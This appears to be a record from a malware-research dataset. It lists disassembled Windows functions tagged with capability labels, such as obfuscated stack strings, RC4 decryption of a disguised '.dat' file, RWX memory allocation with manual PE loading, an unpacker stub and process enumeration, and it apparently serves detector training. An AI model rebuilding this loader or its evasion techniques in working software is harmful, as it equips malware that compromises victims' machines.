joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [0x18000fe40]
xor eax, eax
lea rcx, str.User32.dll
mov qword [rsp + 0x21], rax
mov qword [rsp + 0x29], rax
mov byte [rsp + 0x31], al
mov byte [rsp + 0x21], 0x65
mov byte [rsp + 0x22], 0x74
mov byte [rsp + 0x23], 0x57
mov byte [rsp + 0x24], 0x69
mov byte [rsp + 0x25], 0x6e
mov byte [rsp + 0x26], 0x64
mov byte [rsp + 0x27], 0x6f
mov byte [rsp + 0x28], 0x77
mov byte [rsp + 0x29], 0x73
mov byte [rsp + 0x2a], 0x48
mov byte [rsp + 0x2b], 0x6f
mov byte [rsp + 0x2c], 0x6f
mov byte [rsp + 0x2d], 0x6b
mov byte [rsp + 0x2e], 0x45
mov byte [rsp + 0x2f], 0x78
mov byte [rsp + 0x30], 0x57
mov byte [rsp + 0x20], 0x53
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, section..text
lea ecx, [r9 + 5]
mov r8, rbx
call rax
mov qword [section.Yrrehs], rax
test rax, rax
jne 0x1800010e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [section.Yrrehs]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180004a70
add rsp, 0x40
pop rbx
ret

Function at 0x180001130
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rcx
xor eax, eax
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], ax
call fcn.180008b20
xor r9d, r9d
lea r11, [rsp + 0x30]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp word [rsp + 0x30], 0
lea r11, str.Intelutility_help.dat
lea rcx, [rsp + 0x30]
je 0x1800011b0
nop word [rax + rax]
add rcx, 2
cmp word [rcx], 0
jne 0x1800011a0
nop word [rax + rax]
movzx eax, word [r11]
add rcx, 2
add r11, 2
mov word [rcx - 2], ax
test ax, ax
jne 0x1800011b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1800011f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x18000121e
cmp eax, 3
je 0x18000121e
cmp eax, 0x7b
je 0x18000121e
cmp eax, 0x4cf
je 0x18000121e
lea rcx, [rsp + 0x30]
mov edx, 1
call fcn.1800020f0
test rax, rax
je 0x18000121e
mov rdx, rbx
mov rcx, rax
call fcn.180001eb0
test rax, rax
je 0x18000121e
mov rcx, qword [0x18000fe40]
call rax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180004a70
add rsp, 0x250
pop rbx
ret
Function at 0x180001240
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov byte [0x18000fe90], 0x4f
mov byte [0x18000fe91], 0x6e
mov byte [0x18000fe92], 0x49
mov byte [0x18000fe93], 0x6e
mov byte [0x18000fe94], 0x69
mov byte [0x18000fe95], 0x74
mov byte [0x18000fe96], 0x46
mov byte [0x18000fe97], 0x75
mov byte [0x18000fe98], 0x63
call fcn.1800023a0
test al, al
je 0x1800012b4
xor eax, eax
lea r8, [0x180001100]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x18000fe90]
xor edx, edx
call fcn.180001130
xor eax, eax
add rsp, 0x38
ret
Function at 0x180001560
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov r9d, dword [rcx + 0x68]
mov rbp, rcx
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec r9
mov r11d, dword [rax + r8 + 0x20]
lea rbx, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [rbx + 0x10]
not r9
or r11, r15
and r9, r11
test eax, eax
jne 0x1800015c3
mov ecx, dword [rbx + 0x24]
test cl, 0x40
je 0x1800015bb
mov eax, dword [r8 + 0x20]
jmp 0x1800015c3
test cl, cl
jns 0x1800015c3
mov eax, dword [r8 + 0x24]
mov edx, dword [rbx + 0x24]
mov edi, 1
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r13
mov r10d, eax
mov r14d, edi
lea rsi, [0x18000f020]
cmp di, word [r8 + 6]
jae 0x180001725
add rbx, 0x4c
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x180001621
mov ecx, dword [rbx]
test cl, 0x40
je 0x180001619
mov eax, dword [r8 + 0x20]
jmp 0x180001621
test cl, cl
jns 0x180001621
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp r9, rdi
je 0x1800016df
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x1800016df
test r10, r10
je 0x1800016d2
bt edx, 0x19
jae 0x180001685
cmp r11, r9
jne 0x1800016d2
cmp dword [r8 + 0x38], esi
je 0x180001665
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x1800016d2
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov r9, rdi
mov r10, r13
jmp 0x180001700
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
bt edx, 0x1a
lea rcx, [rax + rcx*2]
lea rax, [0x18000f020]
mov r8d, dword [rax + rcx*4]
jae 0x1800016bd
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000174a
mov edx, dword [rbx]
mov r11, r12
mov r9, rdi
mov r10, r13
jmp 0x180001700
mov eax, dword [rbx]
bt eax, 0x19
jae 0x1800016f1
bt edx, 0x19
jae 0x1800016f1
or edx, eax
jmp 0x1800016f7
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x1800015f1
mov edi, 1
lea rsi, [0x18000f020]
test r10, r10
je 0x180001794
bt edx, 0x19
jae 0x18000174e
cmp r11, r9
jne 0x180001794
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x180001794
xor eax, eax
jmp 0x180001796
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
bt edx, 0x1a
lea rcx, [rax + rcx*2]
mov r8d, dword [rsi + rcx*4]
jae 0x18000177f
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000174a
mov eax, edi
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800020f0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x60
xor esi, esi
lea rax, [r11 + 0x18]
lea r9, [r11 - 0x18]
lea r8, [r11 + 0x20]
lea rdx, [r11 - 0x10]
mov dword [rsp + 0x28], 1
mov qword [r11 - 0x48], rax
mov qword [r11 - 0x10], rsi
mov dword [r11 + 0x20], esi
mov qword [r11 - 0x18], rsi
mov dword [r11 + 0x18], esi
call fcn.18000279c
mov rbx, qword [rsp + 0x50]
test eax, eax
je 0x1800021f2
test rbx, rbx
je 0x1800021f2
mov eax, dword [rsp + 0x80]
test eax, eax
je 0x1800021f2
lea r9d, [rsi + 0x40]
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rdi
mov r11, rax
mov rcx, rax
test rdi, rdi
je 0x1800021a1
mov r8, rbx
sub r8, rax
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
sub rdx, 1
mov byte [rcx - 1], al
jne 0x180002190
mov qword [rsp + 0x40], rsi
lea rax, [0x180001af0]
lea r9, [0x180001a90]
mov qword [rsp + 0x38], rax
lea rax, [0x180001ae0]
lea r8, [0x180001a80]
mov qword [rsp + 0x30], rax
lea rax, [0x180001ad0]
mov rdx, rdi
mov qword [rsp + 0x28], rax
lea rax, [0x180001aa0]
mov rcx, r11
mov qword [rsp + 0x20], rax
call fcn.180001b00
mov rsi, rax
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x180002210
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x180002229
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x70]
mov rax, rsi
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1800024d4
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x210
xor eax, eax
mov r13, rcx
lea rdi, [rsp]
mov ecx, 0x208
mov ebp, r9d
mov r12, r8
rep stosb byte [rdi], al
xor r10d, r10d
lea r11, [r11 - 0x138]
mov edi, 0x100
movsxd r9, edx
lea r14d, [rax + 1]
mov byte [r11], al
add ax, r14w
add r11, r14
cmp ax, di
jl 0x18000251f
mov byte [rsp + 0x200], r10b
mov byte [rsp + 0x201], r10b
mov dword [rsp + 0x204], r10d
mov bl, r10b
mov r11b, r10b
lea r8, [rsp + 0x100]
mov rsi, rdi
mov r15d, 0xff
movzx eax, bl
movzx ecx, r11b
movzx eax, byte [rax + r12]
add eax, ecx
movzx ecx, byte [r8]
add eax, ecx
cdq
and edx, r15d
add eax, edx
and eax, r15d
sub eax, edx
mov dl, byte [r8]
mov r11d, eax
movzx eax, al
mov cl, byte [rsp + rax + 0x100]
mov byte [r8], cl
mov byte [rsp + rax + 0x100], dl
movzx eax, bl
add eax, r14d
add r8, r14
cdq
idiv ebp
sub rsi, r14
mov ebx, edx
jne 0x18000255d
lea rcx, [rsp]
mov al, byte [rcx + 0x100]
sub rdi, r14
mov byte [rcx], al
add rcx, r14
cmp rdi, r10
jne 0x1800025ad
cmp r9, r10
mov r11b, byte [rsp + 0x200]
mov bl, byte [rsp + 0x201]
jle 0x180002663
movzx ecx, bl
movzx eax, r11b
add eax, r14d
cdq
and edx, r15d
add eax, edx
and eax, r15d
sub eax, edx
movzx edi, al
mov r11d, eax
movzx eax, byte [rsp + rdi + 0x100]
add eax, ecx
cdq
and edx, r15d
add eax, edx
and eax, r15d
sub eax, edx
mov dl, byte [rsp + rdi + 0x100]
mov ebx, eax
movzx eax, al
mov cl, byte [rsp + rax + 0x100]
mov byte [rsp + rdi + 0x100], cl
mov byte [rsp + rax + 0x100], dl
movzx ecx, byte [rsp + rdi + 0x100]
movzx eax, dl
add eax, ecx
cdq
and edx, r15d
add eax, edx
and eax, r15d
sub eax, edx
movzx ecx, al
mov al, byte [rsp + rcx + 0x100]
add dword [rsp + 0x204], r14d
xor byte [r10 + r13], al
add r10, r14
cmp r10, r9
jl 0x1800025d8
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x180002684
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
xor ebx, ebx
mov rbp, r8
mov rsi, r9
mov qword [rax - 0x18], rbx
lea r8d, [rbx + 3]
mov r12d, edx
mov dword [rax - 0x20], ebx
xor r9d, r9d
mov edx, 0x80000000
mov dword [rax - 0x28], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800026f0
mov r9, rbp
mov r8d, r12d
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret
Function at 0x180002710
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
mov qword [rax - 0x28], rbx
mov dword [rax - 0x30], ebx
lea r12d, [rbx + 1]
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, r12d
mov dword [rax - 0x38], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180002785
lea r9, [rsp + 0x78]
mov r8d, esi
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, ebx
je 0x18000277c
cmp dword [rsp + 0x78], esi
cmove ebx, r12d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x180002f38
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov r12, rcx
mov rcx, qword [rcx]
xor esi, esi
and dword [rax + 8], esi
mov r13, r9
mov r14, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180002f9a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180003070
cmp eax, 3
je 0x180003070
cmp eax, 0x7b
je 0x180003070
cmp eax, 0x4cf
je 0x180003070
mov rcx, qword [r12]
lea r8, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
neg eax
sbb edi, edi
and edi, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [r12]
lea r8, [rsp + 0x80]
mov r9, rax
mov edx, edi
mov rbx, rax
call fcn.180002684
test eax, eax
je 0x180003057
movzx ecx, byte [rbx + 0x103]
lea rdi, [r12 + 0xc]
mov r9d, 0x104
mov r8, rbx
mov dword [r13], ecx
mov rdx, r9
mov rcx, rdi
sub r8, rdi
mov esi, 1
mov al, byte [r8 + rcx]
mov byte [rcx], al
add rcx, rsi
sub rdx, rsi
jne 0x18000300e
mov edx, dword [rsp + 0x80]
mov r10, rbp
lea r11, [rbx + 0x104]
add edx, 0xfffffefc
mov ecx, edx
je 0x180003049
sub r11, rbp
mov al, byte [r11 + r10]
mov byte [r10], al
add r10, rsi
sub rcx, rsi
jne 0x18000303a
mov r8, rdi
mov rcx, rbp
mov dword [r14], edx
call fcn.1800024d4
test rbx, rbx
je 0x180003070
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x50]
mov eax, esi
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180004dcb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x180004a8a
rol rcx, 0x10
test cx, 0xffff
jne 0x180004a86
repz ret
ror rcx, 0x10
jmp 0x180004d24
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000f100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18000f1f8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180004da9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000f100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180004dcb
mov rax, qword [rsp + 0x88]
mov qword [0x18000f1f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000f198], rax
mov rax, qword [0x18000f1f8]
mov qword [0x18000f070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000f180], rax
mov dword [0x18000f060], 0xc0000409
mov dword [0x18000f064], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000e008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000f0f8], eax
mov ecx, 1
call fcn.1800065c4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000b338]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000f0f8], 0
jne 0x180004e52
mov ecx, 1
call fcn.1800065c4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x180005710
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180005584
Function at 0x180009818
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180004e78
xor ebx, ebx
mov rdi, rax
cmp qword [0x18000fd58], rbx
jne 0x18000991e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1800099f3
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800099f3
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18000fd58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18000fd60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18000fd68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18000fd78], rax
test rax, rax
je 0x180009915
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18000fd70], rax
jmp 0x180009925
mov rax, qword [0x18000fd70]
jmp 0x18000992c
mov rax, qword [0x18000fd70]
mov r11, qword [0x18000fd78]
cmp rax, rdi
je 0x180009994
cmp r11, rdi
je 0x180009994
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18000fd78]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x180009994
test rax, rax
je 0x180009994
call rsi
test rax, rax
je 0x18000998e
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000998e
test byte [rsp + 0x38], 1
jne 0x180009994
bts ebp, 0x15
jmp 0x1800099d2
mov rcx, qword [0x18000fd60]
cmp rcx, rdi
je 0x1800099d2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800099d2
call rax
mov rbx, rax
test rax, rax
je 0x1800099d2
mov rcx, qword [0x18000fd68]
cmp rcx, rdi
je 0x1800099d2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800099d2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000fd58]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800099f3
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1800099f5
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0xa68670
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xa6867d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xa6868d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xa68675
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0xa686a5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xa68692
sub eax, 3
jb 0xa686bf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xa686f6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0xa686e6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0xa686e4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xa686d3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.00a68632
jmp 0xa6867d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x26f000
mov dl, 0x64
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xa68742
cmp rsi, rcx
jae 0xa6874a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xa68729
cmp al, 0x8f
ja 0xa68729
cmp byte [rsi - 2], 0xf
je 0xa6872f
sub al, 0xe8
cmp al, 1
ja 0xa68713
cmp rsi, rcx
jae 0xa6874a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xa68719
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xa6874a
lodsb al, byte [rsi]
jmp 0xa68729
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x660000]
mov eax, dword [rdi]
or eax, eax
je 0xa687a7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x668000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xa68757
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xa687a1
mov qword [rbx], rax
add rbx, 8
jmp 0xa68777
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xa687eb
cmp al, 0xef
ja 0xa687d3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xa687b3
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xa687c2
mov eax, dword [rdi]
add rdi, 4
jmp 0xa687c2
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xa6883f
sub rsp, 0xffffffffffffff80
jmp 0x468940
Function at 0x140005a00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x180
mov rax, qword [0x1400e3040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov r15, rcx
xor ebp, ebp
mov dword [rsp + 0x40], pe_nt_image_headers64
xor edx, edx
lea ecx, [rbp + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140005ba7
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], 0xf
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005a80
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140001d70
lea rdi, [rsp + 0x20]
mov r8, qword [rsp + 0x20]
mov r10, qword [rsp + 0x38]
cmp r10, 0x10
jb 0x140005abe
mov rbx, r8
mov rsi, qword [rsp + 0x30]
add rsi, r8
mov rdi, r8
jmp 0x140005acd
lea rsi, [rsp + 0x20]
add rsi, qword [rsp + 0x30]
lea rbx, [rsp + 0x20]
cmp rbx, rsi
je 0x140005af2
sub rdi, rbx
movzx ecx, byte [rbx]
call fcn.14008b334
mov byte [rdi + rbx], al
inc rbx
cmp rbx, rsi
jne 0x140005ad5
mov r10, qword [rsp + 0x38]
mov r8, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
cmp r10, 0x10
setae r11b
cmovae rax, r8
mov r9, r15
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140005b23
inc rax
test ecx, ecx
jne 0x140005b10
test edx, edx
je 0x140005b70
test r11b, r11b
je 0x140005b5d
lea rdx, [r10 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140005b55
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005be5
mov rcx, r8
call fcn.14004b1e0
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x140005a56
mov ebp, dword [rsp + 0x48]
cmp r10, 0x10
jb 0x140005ba7
lea rdx, [r10 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140005b9f
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005be5
mov rcx, r8
call fcn.14004b1e0
cmp r14, 0xffffffffffffffff
je 0x140005bb6
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14004b1c0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.14008ac40
